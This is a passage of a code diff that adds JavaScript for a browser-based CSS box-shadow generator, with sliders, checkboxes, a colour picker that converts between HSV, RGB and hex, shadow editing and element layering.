+		subscribe(topic, function(value) {
+			node.children[0].value = value;
+		});
+	}
+
+	var increment = function increment(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value + slider.step <= slider.max) {
+			slider.value += slider.step;
+			setValue(slider.topic, slider.value)
+			notify.call(slider);
+		}
+	};
+
+	var decrement = function decrement(topic) {
+		var slider = sliders[topic];
+		if (slider === null || slider === undefined)
+			return;
+
+		if (slider.value - slider.step >= slider.min) {
+			slider.value -= slider.step;
+			setValue(topic, slider.value)
+			notify.call(slider);
+		}
+	}
+
+	// this = Slider object
+	var updateSlider = function updateSlider(e) {
+		var node = this.node;
+		var pos = e.pageX - node.offsetLeft;
+		var width = node.clientWidth;
+		var delta = this.max - this.min;
+		var offset = this.pointer.clientWidth + 4; // border width * 2
+
+		if (pos < 0) pos = 0;
+		if (pos > width) pos = width;
+
+		var value = pos * delta / width | 0;
+		var precision = value % this.step;
+		value = value - precision + this.min;
+		if (precision > this.step / 2)
+			value = value + this.step;
+
+		if (this.snap)
+			pos =  (value - this.min) * width / delta;
+
+		this.pointer.style.left = pos - offset/2 + "px";
+		this.value = value;
+		node.setAttribute('data-value', value);
+		notify.call(this);
+	}
+
+	var setValue = function setValue(topic, value) {
+		var slider = sliders[topic];
+
+		if (value > slider.max || value < slider.min)
+			return;
+
+		var delta = slider.max - slider.min;
+		var width = slider.node.clientWidth;
+		var offset = slider.pointer.clientWidth;
+		var pos =  (value - slider.min) * width / delta;
+		slider.value = value;
+		slider.pointer.style.left = pos - offset / 2 + "px";
+		slider.node.setAttribute('data-value', value);
+		notify.call(slider);
+	}
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener("mousedown", function(e) {
+			callback(e);
+			document.addEventListener("mousemove", callback);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", callback);
+		});
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-slider-btn-set');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setButtonComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider-input');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			setInputComponent(elem[i]);
+
+		elem = document.querySelectorAll('.ui-slider');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new Slider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+			notify.call(buttons[topic]);
+		}
+		catch(error) {
+			console.log(error, topic, value);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function(){
+	BoxShadow.init();
+});
+
+var BoxShadow = (function BoxShadow() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * RGBA Color class
+	 */
+
+	function Color() {
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log("Typeof instance not Color");
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+	}
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (red != undefined)
+			this.r = red | 0;
+		if (green != undefined)
+			this.g = green | 0;
+		if (blue != undefined)
+			this.b = blue | 0;
+		if (alpha != undefined)
+			this.a = alpha | 0;
+	}
+
+	/**
+	 * HSV/HSB (hue, saturation, value / brightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 */
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.updateRGB();
+	}
+
+	Color.prototype.updateRGB = function updateRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision;
+		X = (X + m) * precision;
+		m = m * precision;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	}
+
+	Color.prototype.updateHSV = function updateHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	}
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+	}
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	}
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
+		var a = '';
+		var v = '';
+		if (this.a !== 1) {
+			a = 'a';
+			v = ', ' + this.a;
+		}
+
+		var value = "rgb" + a + rgb + v + ")";
+		return value;
+	}
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	}
+
+	/**
+	 * Shadow Object
+	 */
+	function Shadow() {
+		this.inset  = false;
+		this.posX   = 5;
+		this.posY   = -5;
+		this.blur   = 5;
+		this.spread = 0;
+		this.color  = new Color();
+
+		var hue			= (Math.random() * 360) | 0;
+		var saturation	= (Math.random() * 75) | 0;
+		var value 		= (Math.random() * 50 + 50) | 0;
+		this.color.setHSV(hue, saturation, value, 1);
+	}
+
+	Shadow.prototype.computeCSS = function computeCSS() {
+		var value = "";
+		if (this.inset === true)
+			value += "inset ";
+		value += this.posX + "px ";
+		value += this.posY + "px ";
+		value += this.blur + "px ";
+		value += this.spread + "px ";
+		value += this.color.getColor();
+
+		return value;
+	}
+
+	Shadow.prototype.toggleInset = function toggleInset(value) {
+		if (value !== undefined || typeof value === "boolean")
+			this.inset = value;
+		else
+			this.inset = this.inset === true ? false : true;
+	}
+
+	Shadow.prototype.copy = function copy(obj) {
+		if(obj instanceof Shadow !== true) {
+			console.log("Typeof instance not Shadow");
+			return;
+		}
+
+		this.inset  = obj.inset;
+		this.posX   = obj.posX;
+		this.posY   = obj.posY;
+		this.blur   = obj.blur;
+		this.spread = obj.spread;
+		this.color.copy(obj.color);
+	}
+
+	/**
+	 * Color Picker
+	 */
+	var ColoPicker = (function ColoPicker() {
+
+		var colorpicker;
+		var hue_area;
+		var gradient_area;
+		var alpha_area;
+		var gradient_picker;
+		var hue_selector;
+		var alpha_selector;
+		var pick_object;
+		var info_rgb;
+		var info_hsv;
+		var info_hexa;
+		var output_color;
+		var color = new Color();
+		var subscribers = [];
+
+		var updateColor = function updateColor(e) {
+			var x = e.pageX - gradient_area.offsetLeft;
+			var y = e.pageY - gradient_area.offsetTop;
+
+			// width and height should be the same
+			var size = gradient_area.clientWidth;
+
+			if (x > size)
+				x = size;
+			if (y > size)
+				y = size;
+
+			if (x < 0) x = 0;
+			if (y < 0) y = 0;
+
+			var value = 100 - (y * 100 / size) | 0;
+			var saturation = x * 100 / size | 0;
+
+			color.setHSV(color.hue, saturation, value);
+			// should update just
+			// color pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateHue = function updateHue(e) {
+			var x = e.pageX - hue_area.offsetLeft;
+			var width = hue_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			var hue = ((360 * x) / width) | 0;
+			if (hue === 360) hue = 359;
+
+			color.setHSV(hue, color.saturation, color.value);
+
+			// should update just
+			// hue pointer location
+			// picker area background
+			// alpha area background
+			updateUI();
+			notify("color", color);
+		}
+
+		var updateAlpha = function updateAlpha(e) {
+			var x = e.pageX - alpha_area.offsetLeft;
+			var width = alpha_area.clientWidth;
+
+			if (x < 0) x = 0;
+			if (x > width) x = width;
+
+			color.a = (x / width).toFixed(2);
+
+			// should update just
+			// alpha pointer location
+			updateUI();
+			notify("color", color);
+		}
+
+		var setHueGfx = function setHueGfx(hue) {
+			var sat = color.saturation;
+			var val = color.value;
+			var alpha = color.a;
+
+			color.setHSV(hue, 100, 100);
+			gradient_area.style.backgroundColor = color.getHexa();
+
+			color.a = 0;
+			var start = color.getRGBA();
+			color.a = 1;
+			var end = color.getRGBA();
+			color.a = alpha;
+
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+		}
+
+		var updateUI = function updateUI() {
+			var x, y;		// coordinates
+			var size;		// size of the area
+			var offset;		// pointer graphic selector offset
+
+			// Set color pointer location
+			size = gradient_area.clientWidth;
+			offset = gradient_picker.clientWidth / 2 + 2;
+
+			x = (color.saturation * size / 100) | 0;
+			y = size - (color.value * size / 100) | 0;
+
+			gradient_picker.style.left = x - offset + "px";
+			gradient_picker.style.top = y - offset + "px";
+
+			// Set hue pointer location
+			size = hue_area.clientWidth;
+			offset = hue_selector.clientWidth/2;
+			x = (color.hue * size / 360 ) | 0;
+			hue_selector.style.left = x - offset + "px";
+
+			// Set alpha pointer location
+			size = alpha_area.clientWidth;
+			offset = alpha_selector.clientWidth/2;
+			x = (color.a * size) | 0;
+			alpha_selector.style.left = x - offset + "px";
+
+			// Set picker area background
+			var nc = new Color();
+			nc.copy(color);
+			if (nc.hue === 360) nc.hue = 0;
+			nc.setHSV(nc.hue, 100, 100);
+			gradient_area.style.backgroundColor = nc.getHexa();
+
+			// Set alpha area background
+			nc.copy(color);
+			nc.a = 0;
+			var start = nc.getRGBA();
+			nc.a = 1;
+			var end = nc.getRGBA();
+			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
+			alpha_area.style.background = gradient;
+
+			// Update color info
+			notify("color", color);
+			notify("hue", color.hue);
+			notify("saturation", color.saturation);
+			notify("value", color.value);
+			notify("r", color.r);
+			notify("g", color.g);
+			notify("b", color.b);
+			notify("a", color.a);
+			notify("hexa", color.getHexa());
+			output_color.style.backgroundColor = color.getRGBA();
+		}
+
+		var setInputComponent = function setInputComponent(node) {
+			var topic = node.getAttribute('data-topic');
+			var title = node.getAttribute('data-title');
+			var action = node.getAttribute('data-action');
+			title = title === null ? '' : title;
+
+			var input = document.createElement('input');
+			var info = document.createElement('span');
+			info.textContent = title;
+
+			input.setAttribute('type', 'text');
+			input.setAttribute('data-action', 'set-' + action + '-' + topic);
+			node.appendChild(info);
+			node.appendChild(input);
+
+			input.addEventListener('click', function(e) {
+				this.select();
+			});
+
+			input.addEventListener('change', function(e) {
+				if (action === 'HSV')
+					inputChangeHSV(topic);
+				if (action === 'RGB')
+					inputChangeRGB(topic);
+				if (action === 'alpha')
+					inputChangeAlpha(topic);
+				if (action === 'hexa')
+					inputChangeHexa(topic);
+			});
+
+			subscribe(topic, function(value) {
+				node.children[1].value = value;
+			});
+		}
+
+		var inputChangeHSV = function actionHSV(topic) {
+			var selector = "[data-action='set-HSV-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value < 360)
+				color[topic] = value;
+
+			color.updateRGB();
+			updateUI();
+		}
+
+		var inputChangeRGB = function inputChangeRGB(topic) {
+			var selector = "[data-action='set-RGB-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseInt(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
